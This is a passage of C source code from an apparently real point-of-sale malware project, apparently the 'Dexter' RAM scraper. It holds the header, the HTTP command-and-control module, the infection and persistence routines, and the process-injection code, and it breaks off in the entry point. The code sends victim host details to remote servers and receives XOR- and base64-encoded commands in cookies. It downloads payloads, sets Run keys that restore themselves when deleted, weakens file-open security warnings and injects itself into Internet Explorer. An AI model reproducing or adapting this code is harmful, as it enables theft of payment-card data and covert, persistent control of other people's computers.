*_memset(void *s, int c, size_t n); 40 | void *_memcpy(void* dest, const void* src, size_t count); 41 | void GatherInfo(BOOL fFullInfo); 42 | void HttpMain(); 43 | void HttpSignaler(); 44 | void BeginInjection(BOOL IsChild); 45 | BOOL CheckIfInfected(); 46 | void Infect(); 47 | void ProtectRegistry(); 48 | void MonitorChild(); 49 | void DisableOpenFileWarning(); 50 | void _entryPoint(); 51 | ///////////////////////////////////////////////////////////////// 52 | 53 | 54 | 55 | //global vars 56 | DWORD hMutex; //FIXME: I use DWORD, instead of HANDLE, cuz it causes error when i init it. 57 | HINTERNET hOpen; 58 | BOOL bInjected; 59 | BOOL ReportFlag,x64; 60 | BYTE *pBlob,*pHttpData,Uniq[37],BotVersion[20]; 61 | DWORD GrowSize,ScanInterval,ConnectInterval,CurPID,ParentPID,ChildPID,CurrentModule; 62 | HANDLE hHeap,hThreadRegistry,hThreadChild,hThreadScan,hCacheMapping,hInteractEvent,hConnectEvent; 63 | CRITICAL_SECTION crsReportFlag,crsBlob; 64 | WCHAR OldLocation[MAX_PATH],CurrentLocation[MAX_PATH],wUniq[37],IEPath[MAX_PATH]; 65 | char Key[5],EncodedKey[10]; 66 | 67 | 68 | #define b64str "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" 69 | 70 | static BYTE LookupDigits[] = { 71 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, //gap: ctrl chars 72 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, //gap: ctrl chars 73 | 0,0,0,0,0,0,0,0,0,0,0, //gap: spc,!"#$%'()* 74 | 62, // + 75 | 0, 0, 0, // gap ,-. 76 | 63, // / 77 | 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, // 0-9 78 | 0, 0, 0, // gap: :;< 79 | 99, // = (end padding) 80 | 0, 0, 0, // gap: >?@ 81 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10,11,12,13,14,15,16, 82 | 17,18,19,20,21,22,23,24,25, // A-Z 83 | 0, 0, 0, 0, 0, 0, // gap: [\]^_` 84 | 26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42, 85 | 43,44,45,46,47,48,49,50,51, // a-z 86 | 0, 0, 0, 0, // gap: {|}~ (and the rest...) 87 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 88 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 89 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 90 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 91 | }; 92 | 93 | //startup reg keys 94 | static char SoftwareName[] = "Software\\Resilience Software"; 95 | static char RunPath[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 96 | static char AllUsersRunPath[] = ".DEFAULT\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; 97 | ////////////////////////////////////////////////// 98 | 99 | //Processes to skip 100 | static char *SkipProcesses[] = { "svchost.exe","iexplore.exe","explorer.exe","System","smss.exe","csrss.exe","winlogon.exe","lsass.exe","spoolsv.exe","alg.exe","wuauclt.exe",0x00}; 101 | 102 | //Command line passed to updatebin.exe 103 | static char UpdateMutexMark[] = "UpdateMutex:"; 104 | 105 | //Cookie name 106 | static char response[] = "response="; 107 | 108 | //POST variable names 109 | static char varUID[] = "page="; 110 | static char varDumps[] = "&ump="; 111 | static char varIdle[] = "&opt="; 112 | static char varUsername[] = "&unm="; 113 | static char varComputername[] = "&cnm="; 114 | static char varProclist[] = "&view="; 115 | static char varArch[] = "&spec="; 116 | static char varOS[] = "&query="; 117 | static char varKey[] = "&val="; 118 | static char varVersion[] = "&var="; 119 | 120 | static char ClassName[] = "DetectShutdownClass"; 121 | 122 | //$ - start of all commands 123 | //# - end of all commands 124 | //; - end of each command 125 | 126 | //Commands 127 | static char download[] = "download-"; 128 | static char update[] = "update-"; 129 | static char checkin[] = "checkin:"; 130 | static char scanin[] = "scanin:"; 131 | static char uninstall[] = "uninstall"; 132 | static int fullVarSize = sizeof(varUID) + sizeof(varDumps) + sizeof(varIdle) + sizeof(varUsername) / 133 | + sizeof(varComputername) + sizeof(varProclist) + sizeof(varArch) + sizeof(varOS) / 134 | + sizeof(varKey) + sizeof(Key) + sizeof(varVersion) + sizeof(BotVersion); 135 | 136 | static int runtimeVarSize = sizeof(varUID) + sizeof(varDumps) + sizeof(varIdle) + sizeof(varProclist) / 137 | + sizeof(varKey) + sizeof(Key) + sizeof(varVersion) + sizeof(BotVersion); 138 | ////////////////////////// 139 | 140 | 141 | 142 | -------------------------------------------------------------------------------- /source/HttpInteract.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "Globals.h" 7 | #include "Config.h" 8 | 9 | #pragma comment(lib, "shlwapi.lib") 10 | #pragma comment(lib, "wininet.lib") 11 | #pragma comment(lib, "urlmon.lib") 12 | 13 | 14 | void HttpInteract() { //Use of this function is to be able to send the info instantly on reboot/log off/shutdown 15 | 16 | DWORD dWait; 17 | 18 | while(1) { 19 | 20 | WaitForSingleObject(hInteractEvent,INFINITE); 21 | dWait = ConnectInterval; 22 | Sleep(dWait); 23 | SetEvent(hConnectEvent); 24 | } 25 | } 26 | 27 | void HttpMain() { 28 | 29 | BOOL AlreadyConnected,ValidIndex,PresistInfo; 30 | DWORD Size,x; 31 | char UserAgent[128],Url[255],Commands[255],*pCommands; 32 | HINTERNET hConnect,hRequest; 33 | 34 | 35 | Size = sizeof(UserAgent); 36 | _memset(UserAgent,0x00,Size); 37 | ObtainUserAgentString(0,UserAgent,&Size); 38 | if(UserAgent[0]==0x00) { lstrcpy(UserAgent,"Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0)"); } 39 | 40 | while((hOpen = InternetOpen(UserAgent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0)) == NULL) { Sleep(60000); } //Wait till its able to open internet connection 41 | 42 | x = 0; 43 | ValidIndex = FALSE; 44 | AlreadyConnected = FALSE; 45 | PresistInfo = FALSE; 46 | while(1) { //Start enumerating URLs till you find working one 47 | 48 | if(Urls[x]==0x00) { 49 | x = 0; 50 | Sleep(ConnectInterval); 51 | } 52 | 53 | hConnect = InternetConnect(hOpen,Urls[x],INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0); 54 | if(hConnect==NULL) { x++; ValidIndex = FALSE; continue; } 55 | hRequest = HttpOpenRequest(hConnect,"POST",Pages[x],NULL,NULL,NULL,INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_AUTO_REDIRECT|INTERNET_FLAG_NO_CACHE_WRITE,0); 56 | if(hRequest==NULL) { x++; ValidIndex = FALSE; InternetCloseHandle(hConnect); continue; } 57 | 58 | if(AlreadyConnected==TRUE) { //We have connected already to server once, so we dont gather full info anymore 59 | 60 | if(PresistInfo==FALSE) { //Last gathered info has been sent so we can gather new one 61 | 62 | GatherInfo(FALSE); //not full info 63 | PresistInfo = TRUE; //there is info to send 64 | } 65 | } else { 66 | if(PresistInfo==FALSE) { //Last gathered info has been send so we can gather new one 67 | 68 | GatherInfo(TRUE); //full info, this is executed just once 69 | PresistInfo = TRUE; //there is info to send 70 | } 71 | } 72 | 73 | 74 | if(HttpSendRequest(hRequest,"Content-Type:application/x-www-form-urlencoded",-1L,pHttpData,lstrlen(pHttpData))==TRUE) { //Successfully connected - get command 75 | 76 | //Build cookie url 77 | _memset(Url,0x00,sizeof(Url)); 78 | wsprintf(Url,"http://%s%s",Urls[x],Pages[x]); 79 | ///////////////////////////////// 80 | 81 | //Get cookie - commands 82 | _memset(Commands,0x00,sizeof(Commands)); 83 | if(GetCookie(Url,Commands)==TRUE) { //We are on valid url 84 | 85 | pCommands = Commands; 86 | pCommands += lstrlen(response); 87 | //MessageBox(NULL,pCommands,"Check if valid",MB_OK); 88 | if(*pCommands=='$') { //This seems to be real command 89 | 90 | ExecCommands(pCommands); 91 | ValidIndex = TRUE; 92 | AlreadyConnected = TRUE; 93 | PresistInfo = FALSE; 94 | } else { ValidIndex = FALSE; } 95 | } else { ValidIndex = FALSE; } 96 | } 97 | InternetCloseHandle(hRequest); 98 | InternetCloseHandle(hConnect); 99 | 100 | if(ValidIndex==FALSE) { x++; } //there is no valid url so continue the iteration 101 | else { 102 | HeapFree(hHeap,HEAP_ZERO_MEMORY,pHttpData); 103 | SetEvent(hInteractEvent); 104 | WaitForSingleObject(hConnectEvent,INFINITE); 105 | } //there is valid url 106 | } //main loop 107 | } 108 | 109 | BOOL GetCookie(char *CookieUrl, char *pCommand) { //If return TRUE - there is command, if return FALSE - there is no command 110 | 111 | char *pDecoded; 112 | DWORD CookieSize,LeftSize; 113 | 114 | 115 | //void ptr to get the exact size of cookie 116 | CookieSize = 0; 117 | InternetGetCookie(CookieUrl,response,NULL,&CookieSize); 118 | if(CookieSize<=1) { return FALSE; } 119 | 120 | pDecoded = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,CookieSize); 121 | _memset(pDecoded,0x00,CookieSize); 122 | 123 | //Get the cookie 124 | //MessageBox(NULL,NULL,NULL,MB_OK); 125 | InternetGetCookie(CookieUrl,response,pCommand,&CookieSize); 126 | 127 | //MessageBox(NULL,pCommand,CookieUrl,MB_OK); 128 | //Is there response cookie ? 129 | pCommand = StrStr(pCommand,response); 130 | if(pCommand==NULL) { return FALSE; } 131 | 132 | //Url decode 133 | pCommand += lstrlenA(response); 134 | url_decode(pCommand,pDecoded); 135 | if(*pDecoded=='#') { pCommand -= lstrlenA(response); lstrcpy(pCommand,pDecoded); HeapFree(hHeap,0,pDecoded); return TRUE; } 136 | 137 | 138 | LeftSize = lstrlenA(pCommand); 139 | _memset(pCommand,0x00,LeftSize); 140 | //base64 decode 141 | CookieSize = base64_decode(pDecoded,lstrlenA(pDecoded),pCommand,LeftSize); 142 | /////////////////////////////////////////////////////////////////////////////////////////////////////// 143 | //xor 144 | _xor(pCommand,Key,CookieSize,lstrlenA(Key)); 145 | //////////////////////////////////////////////////////////////////////////////////////////////////////// 146 | 147 | 148 | //lstrcpy(pCommand,pDecoded); 149 | HeapFree(hHeap,0,pDecoded); 150 | 151 | return TRUE; 152 | } 153 | 154 | char *DownloadFile(char *Url, DWORD *pFileSize) { //Need to do VirtualFree on *decoded 155 | 156 | HINTERNET hRequest; 157 | char CookieUrl[255],buffer[512],Command[64],*pCommand; 158 | unsigned char *saved,*decoded; 159 | DWORD BytesRead,Size,FileSize; 160 | 161 | 162 | hRequest = InternetOpenUrl(hOpen,Url,NULL,0,INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_NO_AUTO_REDIRECT|INTERNET_FLAG_RELOAD,0); 163 | 164 | _memset(Command,0x00,sizeof(Command)); 165 | CopyTill(CookieUrl,Url,'?'); 166 | if(GetCookie(CookieUrl,Command)==FALSE) { return NULL; } //No cookie - probably invalid url 167 | pCommand = Command; 168 | pCommand += lstrlen(response); 169 | pCommand++; //skip the $ 170 | //MessageBox(NULL,pCommand,"Before GetFileSize",MB_OK); 171 | GetDownloadFileSize(pCommand,&FileSize); 172 | 173 | saved = HeapAlloc(hHeap,0,FileSize); 174 | decoded = VirtualAlloc(NULL,FileSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); 175 | 176 | Size = 0; 177 | BytesRead = 0; 178 | _memset(buffer,0x00,sizeof(buffer)); 179 | while(InternetReadFile(hRequest,buffer,sizeof(buffer),&BytesRead) && BytesRead != 0) { 180 | 181 | 182 | _memcpy(saved,buffer,BytesRead); 183 | saved = saved + BytesRead; 184 | Size += BytesRead; 185 | BytesRead = 0; 186 | _memset(buffer,0x00,sizeof(buffer)); 187 | 188 | } 189 | 190 | 191 | 192 | saved = saved - Size; //restore to starting position 193 | 194 | Size = base64_decode(saved,Size,decoded,Size); 195 | _xor(decoded,Key,Size,5); 196 | 197 | 198 | HeapFree(hHeap,0,saved); 199 | InternetCloseHandle(hRequest); 200 | 201 | *pFileSize = Size; 202 | 203 | return decoded; 204 | } 205 | 206 | BYTE *GetDownloadFileSize(char *conf,DWORD *pFileSize) { 207 | 208 | char sFileSize[10]; 209 | 210 | if(*conf!='(') { return NULL; } 211 | conf++; //skip '(' 212 | 213 | conf += CopyTill(sFileSize,conf,')'); 214 | 215 | conf++; //skip ')' 216 | 217 | *pFileSize = _atoi(sFileSize); 218 | 219 | return conf; 220 | } -------------------------------------------------------------------------------- /source/HttpInteract.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/Dexter/efe615e7bec4628c4550816b0c5f50fc0c03264f/source/HttpInteract.h -------------------------------------------------------------------------------- /source/Infect.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "Globals.h" 5 | 6 | 7 | void RandStrW(WCHAR *ptr,int len); 8 | void DisableOpenFileWarning(); 9 | 10 | 11 | char UniqName[] = "Digit"; 12 | WCHAR wUniqName[] = L"Digit"; 13 | char extensions[] = ".exe;.bat;.reg;.vbs;"; 14 | 15 | BOOL CheckIfInfected() { 16 | 17 | int Len; 18 | HKEY hKey; 19 | DWORD KeyOption; 20 | 21 | 22 | //MessageBox(NULL,"CheckIfInfected",NULL,MB_OK); 23 | //first check if 'Uniq' = UID exist 24 | hKey = NULL; 25 | KeyOption = 0; 26 | RegCreateKeyEx(HKEY_CURRENT_USER,SoftwareName,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&KeyOption); 27 | if(KeyOption==REG_CREATED_NEW_KEY) { RegCloseKey(hKey); return FALSE; } //not infected 28 | 29 | KeyOption = 0; 30 | Len = sizeof(Uniq); 31 | _memset(Uniq,0x00,sizeof(Uniq)); 32 | RegQueryValueEx(hKey,UniqName,0,&KeyOption,Uniq,&Len); 33 | if(Uniq[0]==0x00) { RegCloseKey(hKey); return FALSE; } //not infected 34 | RegCloseKey(hKey); 35 | 36 | _memset(wUniq,0x00,sizeof(wUniq)); 37 | MultiByteToWideChar(CP_ACP,0,Uniq,lstrlen(Uniq),wUniq,sizeof(wUniq)); 38 | 39 | //MessageBox(NULL,Uniq,NULL,MB_OK); 40 | 41 | return TRUE; //infected 42 | } 43 | 44 | void GenUnique(char *ptr); 45 | 46 | void Infect() { 47 | 48 | WCHAR AppData[MAX_PATH],DirName[5]; 49 | DWORD LenInBytes,KeyOption,ret; 50 | HKEY hKey; 51 | 52 | 53 | //Drop the file in random folder with random name in AppData // FIXME: Make it use windows shadow copies location 54 | _memset(DirName,0x00,sizeof(DirName)); 55 | _memset(AppData,0x00,sizeof(AppData)); 56 | _memset(CurrentLocation,0x00,sizeof(CurrentLocation)); 57 | 58 | RandStrW(DirName,5); 59 | SHGetFolderPathW(0,CSIDL_APPDATA,NULL,SHGFP_TYPE_CURRENT,AppData); 60 | 61 | wsprintfW(CurrentLocation,L"%s\\%s",AppData,DirName); 62 | CreateDirectoryW(CurrentLocation,NULL); 63 | wsprintfW(CurrentLocation,L"%s\\%s\\%s.exe",AppData,DirName,DirName); 64 | 65 | 66 | CopyFileW(OldLocation,CurrentLocation,FALSE); 67 | 68 | DeleteFileW(OldLocation); 69 | ////////////////////////////////////////////// 70 | 71 | //Generate UID 72 | _memset(Uniq,0x00,sizeof(Uniq)); 73 | _memset(wUniq,0x00,sizeof(wUniq)); 74 | 75 | GenUnique(Uniq); 76 | MultiByteToWideChar(CP_ACP,0,Uniq,lstrlen(Uniq),wUniq,sizeof(wUniq)); 77 | //MessageBox(NULL,Uniq,NULL,MB_OK); 78 | /////////////////////////// 79 | 80 | //Create the main registry key 81 | KeyOption = 0; 82 | RegCreateKeyEx(HKEY_CURRENT_USER,SoftwareName,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&KeyOption); 83 | LenInBytes = lstrlen(Uniq) * sizeof(char); 84 | RegSetValueEx(hKey,UniqName,0,REG_SZ,Uniq,LenInBytes); //store the UID 85 | RegCloseKey(hKey); 86 | ////////////////////////////// 87 | 88 | 89 | /*Create start-up keys*/ 90 | //try first to create admin key 91 | SetLastError(ERROR_SUCCESS); 92 | RegOpenKeyEx(HKEY_LOCAL_MACHINE,RunPath,0,KEY_ALL_ACCESS,&hKey); 93 | if(GetLastError()==ERROR_SUCCESS) { //we are admin or system 94 | 95 | LenInBytes = lstrlenW(CurrentLocation) * sizeof(WCHAR); 96 | ret = RegSetValueExW(hKey,wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes); //store the startup key 97 | if(ret!=0) { RegCloseKey(hKey); goto UserPrivs; } 98 | RegCloseKey(hKey); 99 | 100 | //Write to key for all new user accoutns 101 | RegOpenKeyEx(HKEY_USERS,AllUsersRunPath,0,KEY_ALL_ACCESS,&hKey); 102 | LenInBytes = lstrlenW(CurrentLocation) * sizeof(WCHAR); 103 | RegSetValueExW(hKey,wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes); //store the startup key 104 | RegCloseKey(hKey); 105 | 106 | } //we are regular user 107 | 108 | //try second to create user key 109 | UserPrivs: 110 | RegOpenKeyEx(HKEY_CURRENT_USER,RunPath,0,KEY_ALL_ACCESS,&hKey); 111 | LenInBytes = lstrlenW(CurrentLocation) * sizeof(WCHAR); 112 | RegSetValueExW(hKey,wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes); //store the startup key 113 | RegCloseKey(hKey); 114 | //////////////////////////////////////// 115 | } 116 | 117 | 118 | void DisableOpenFileWarning() { 119 | 120 | HKEY hKey; 121 | DWORD KeyOption,LenInBytes,Value; 122 | 123 | KeyOption = 0; 124 | RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Associations",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&KeyOption); 125 | LenInBytes = lstrlen(extensions) * sizeof(char); 126 | RegSetValueEx(hKey,"LowRiskFileTypes",0,REG_SZ,extensions,LenInBytes); 127 | RegCloseKey(hKey); 128 | 129 | RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0",0,KEY_ALL_ACCESS,&hKey); 130 | Value = 0; 131 | RegSetValueEx(hKey,"1806",0,REG_DWORD,(const BYTE *)&Value,sizeof(Value)); 132 | RegCloseKey(hKey); 133 | 134 | SetLastError(ERROR_SUCCESS); 135 | RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0",0,KEY_ALL_ACCESS,&hKey); 136 | if(GetLastError()==ERROR_SUCCESS) { 137 | 138 | Value = 0; 139 | RegSetValueEx(hKey,"1806",0,REG_DWORD,(const BYTE *)&Value,sizeof(Value)); 140 | RegCloseKey(hKey); 141 | } 142 | } 143 | 144 | void ProtectRegistry() { 145 | 146 | /*We wont check if startup keys exist, 147 | but blindy set them and use the handles to keep eye of changes, 148 | and if change is made set them again */ 149 | int i; 150 | HKEY hKey[3]; 151 | HANDLE hEvent; 152 | DWORD dwFilter,LenInBytes; 153 | 154 | dwFilter = REG_NOTIFY_CHANGE_NAME|REG_NOTIFY_CHANGE_LAST_SET; 155 | 156 | LenInBytes = lstrlenW(CurrentLocation) * sizeof(WCHAR); 157 | 158 | i = 0; 159 | _memset(&hKey,0x00,sizeof(hKey)); 160 | RegOpenKeyEx(HKEY_LOCAL_MACHINE,RunPath,0,KEY_ALL_ACCESS,&hKey[i]); //HKEY_LOCAL_MACHINE 161 | if(hKey[i]!=NULL) { i++; } 162 | RegOpenKeyEx(HKEY_USERS,AllUsersRunPath,0,KEY_ALL_ACCESS,&hKey[i]); //HKEY_USERS 163 | if(hKey[i]!=NULL) { i++; } 164 | RegOpenKeyEx(HKEY_CURRENT_USER,RunPath,0,KEY_ALL_ACCESS,&hKey[i]); //HKEY_CURRENT_USER 165 | 166 | 167 | i = 0; 168 | hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); 169 | while(hKey[i]!=NULL) { //All handles to all event, because there may be case someone to try to delete all keys at once 170 | RegSetValueExW(hKey[i],wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes); //store the startup key 171 | RegNotifyChangeKeyValue(hKey[i],TRUE,dwFilter,hEvent,TRUE); 172 | i++; 173 | } 174 | 175 | while(1) { 176 | WaitForSingleObject(hEvent,INFINITE); 177 | 178 | i = 0; 179 | while(hKey[i]!=NULL) { 180 | RegSetValueExW(hKey[i],wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes); //set the startup key 181 | RegNotifyChangeKeyValue(hKey[i],TRUE,dwFilter,hEvent,TRUE); 182 | i++; 183 | } 184 | } 185 | } 186 | 187 | 188 | -------------------------------------------------------------------------------- /source/InjectSection.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "Globals.h" 5 | 6 | 7 | void *copySectionToProcess(HANDLE process, void *image) { 8 | 9 | BOOL ok; 10 | LPWORD relList; 11 | DWORD imageSize,relCount,i; 12 | DWORD_PTR delta,oldDelta,*p; 13 | LPBYTE remoteMem,buf; 14 | IMAGE_DATA_DIRECTORY *relocsDir; 15 | IMAGE_BASE_RELOCATION *relHdr; 16 | PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); 17 | 18 | 19 | imageSize = ntHeader->OptionalHeader.SizeOfImage; 20 | ok = FALSE; 21 | 22 | if(IsBadReadPtr(image, imageSize) != 0)return NULL; 23 | 24 | 25 | remoteMem = (LPBYTE)VirtualAllocEx(process, NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 26 | if(remoteMem != NULL) 27 | { 28 | 29 | //buf = (LPBYTE)Mem::copyEx(image, imageSize); 30 | buf = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,imageSize); 31 | _memcpy(buf,image,imageSize); 32 | 33 | if(buf != NULL) 34 | { 35 | 36 | relocsDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 37 | 38 | if(relocsDir->Size > 0 && relocsDir->VirtualAddress > 0) 39 | { 40 | delta = (DWORD_PTR)((LPBYTE)remoteMem - ntHeader->OptionalHeader.ImageBase); 41 | oldDelta = (DWORD_PTR)((LPBYTE)image - ntHeader->OptionalHeader.ImageBase); 42 | relHdr = (IMAGE_BASE_RELOCATION *)(buf + relocsDir->VirtualAddress); 43 | 44 | while(relHdr->VirtualAddress != 0) 45 | { 46 | if(relHdr->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) 47 | { 48 | relCount = (relHdr->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); 49 | relList = (LPWORD)((LPBYTE)relHdr + sizeof(IMAGE_BASE_RELOCATION)); 50 | 51 | for(i = 0; i < relCount; i++)if(relList[i] > 0) 52 | { 53 | p = (DWORD_PTR *)(buf + (relHdr->VirtualAddress + (0x0FFF & (relList[i])))); 54 | *p -= oldDelta; 55 | *p += delta; 56 | } 57 | } 58 | 59 | relHdr = (IMAGE_BASE_RELOCATION *)((LPBYTE)relHdr + relHdr->SizeOfBlock); 60 | } 61 | 62 | ok = WriteProcessMemory(process, remoteMem, buf, imageSize, NULL) ? TRUE : FALSE; 63 | } 64 | 65 | //Mem::free(buf); 66 | HeapFree(hHeap,HEAP_ZERO_MEMORY,buf); 67 | } 68 | 69 | if(!ok) 70 | { 71 | VirtualFreeEx(process, (void *)remoteMem, 0, MEM_RELEASE); 72 | remoteMem = NULL; 73 | } 74 | } 75 | 76 | return remoteMem; 77 | } 78 | 79 | 80 | void BeginInjection(BOOL IsChild) { //IsChild = TRUE - injecting child process for process protection 81 | 82 | HANDLE newhMutex,newhCache; 83 | DWORD image,newImage,StartRoutine; 84 | STARTUPINFOW si; 85 | PROCESS_INFORMATION pi; 86 | 87 | _memset(&si,0x00,sizeof(si)); 88 | si.cb = sizeof(si); 89 | _memset(&pi,0x00,sizeof(pi)); 90 | bInjected = TRUE; 91 | 92 | 93 | CreateProcessW(IEPath,NULL,NULL,NULL,TRUE,CREATE_SUSPENDED,NULL,NULL,&si,&pi); 94 | 95 | //Copy hMutex handle, to prevent other processes from starting 96 | DuplicateHandle((HANDLE)-1,(HANDLE) hMutex, pi.hProcess, &newhMutex, 0, FALSE, DUPLICATE_SAME_ACCESS); 97 | hMutex = (DWORD) newhMutex; 98 | 99 | if(IsChild==TRUE) { 100 | 101 | ParentPID = CurPID; 102 | ChildPID = pi.dwProcessId; 103 | 104 | //Copy the cache map handle to prevent it from being destroyed if this process dies 105 | DuplicateHandle((HANDLE)-1,(HANDLE) hCacheMapping, pi.hProcess, &newhCache, 0, FALSE, DUPLICATE_SAME_ACCESS); 106 | hCacheMapping = newhCache; 107 | } 108 | 109 | image = CurrentModule; 110 | if((newImage = (DWORD) copySectionToProcess(pi.hProcess, (HANDLE)image))==(DWORD)NULL) { return; /*Injection failed*/ } 111 | 112 | //Create thread at the entry point 113 | StartRoutine = newImage + ((DWORD)_entryPoint - image); 114 | 115 | if(CreateRemoteThread(pi.hProcess,NULL,0,(LPTHREAD_START_ROUTINE)StartRoutine,NULL,0,NULL)!=NULL) { if(IsChild==FALSE) { ExitProcess(0); } /*Injection Successfull*/ } 116 | } 117 | 118 | void MonitorChild() { 119 | 120 | while(1) { 121 | if(GetProcessVersion(ChildPID)==0) { //Child is dead 122 | BeginInjection(TRUE); 123 | } 124 | Sleep(2000); 125 | } 126 | } -------------------------------------------------------------------------------- /source/POSGrabber.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "Globals.h" 8 | #include "Config.h" 9 | 10 | 11 | #pragma comment(lib, "shlwapi.lib") 12 | #pragma comment(lib, "rpcrt4.lib") 13 | 14 | #pragma comment(linker,"/ENTRY:_entryPoint") 15 | #pragma comment(linker,"/MERGE:.rdata=.text") 16 | #pragma comment(linker,"/SECTION:.text,ERW") 17 | //#pragma comment(linker,"/FIXED:NO") 18 | #pragma comment(linker,"/NODEFAULTLIB:LIBCMT") 19 | #pragma comment(linker,"/NODEFAULTLIB:MSVCRT") 20 | //#pragma comment(linker,"/FILEALIGN:0x200")c1 21 | 22 | /*FIXME: For the pBlob use file mapping instead of heap, so if the process crashes, the child process can use the grabbed logs from the previos process*/ 23 | /*FIXME: Adding logging to files, if could not connect to server given amount of time and log to files on shutdown/reboot/log off, if there is no valid server */ 24 | 25 | #define HEAP_LFH 2 26 | 27 | #define StaticCacheSize 2*40000 28 | #define ReadLimit 100*4096 //6 zeroes - for ReadProcessMemory 29 | //#define RealBackLen 16 30 | //#define RealForwardLenMin 10 31 | 32 | //#define RealForwardLenMax 25 33 | //#define TotalLen (RealBackLen + RealForwardLen + 1) //+1 for the '=' 34 | #define StaticBlobSize 40000 35 | #define ReAllocChunk 10000 36 | 37 | 38 | #define T1MaxLen 79 39 | #define T2MaxLen 40 40 | #define T3MaxLen 107 41 | #define MinimalEndData 15 42 | 43 | BOOL bInjected = FALSE; 44 | DWORD CurPID = 0; 45 | DWORD ParentPID = 0; 46 | DWORD ChildPID = 0; 47 | DWORD hMutex = 0; 48 | HANDLE hCacheMapping = NULL; 49 | 50 | PROCESSENTRY32 ProcessInfo; 51 | DWORD BlobSize,CacheSize; 52 | char *pCacheMap,LastProcess[64]; 53 | BYTE *pGlobalBuf; 54 | 55 | void GetDebugPrivs(); 56 | BOOL ScanMemory(); 57 | void ScanMemoryLoop(); 58 | BOOL IsPCx64(); 59 | 60 | 61 | 62 | void _entryPoint() { //Entry Point 63 | 64 | BYTE *pCommandLine; 65 | DWORD CSIDL; 66 | MEMORY_BASIC_INFORMATION MBI; 67 | char UpdateMutexString[64]; 68 | HANDLE hUpdateMutexOne,hUpdateMutexTwo,hProcess; 69 | SECURITY_ATTRIBUTES sa; 70 | 71 | 72 | //Check if this is not update - first mutex is created by the new update bin, after its confirmed from the current running loader, he will create 73 | //one more mutex for which the update bin is waiting 74 | pCommandLine = GetCommandLine(); 75 | if(pCommandLine!=NULL) { 76 | if(StrStr(pCommandLine,UpdateMutexMark)!=NULL) { 77 | hUpdateMutexOne = CreateMutex(NULL,FALSE,pCommandLine); 78 | 79 | //Create the string for the second mutex and wait for it to be created 80 | _memset(UpdateMutexString,0x00,sizeof(UpdateMutexString)); 81 | wsprintf(UpdateMutexString,"%s%d",pCommandLine,GetCurrentProcessId()); 82 | 83 | while(1) { 84 | SetLastError(ERROR_SUCCESS); 85 | 86 | hUpdateMutexTwo = CreateMutex(NULL,FALSE,UpdateMutexString); 87 | if(GetLastError()==ERROR_ALREADY_EXISTS) { //All went fine, close mutexes and kill the parent process 88 | 89 | CloseHandle(hUpdateMutexOne); 90 | CloseHandle(hUpdateMutexTwo); 91 | 92 | CSIDL = GetParentProcessId(); 93 | if(CSIDL!=-1) { //Successfully acquired parent PID 94 | hProcess = OpenProcess(PROCESS_TERMINATE,FALSE,CSIDL); 95 | TerminateProcess(hProcess,0); 96 | CloseHandle(hProcess); 97 | } 98 | 99 | break; 100 | } 101 | CloseHandle(hUpdateMutexTwo); 102 | Sleep(1000); 103 | } 104 | } 105 | } 106 | ///////////////////////////////////// 107 | ////////////////////////////////////////////////////////////////////// 108 | 109 | //This is loop for the process protect - child process loop, waiting the parent to die 110 | 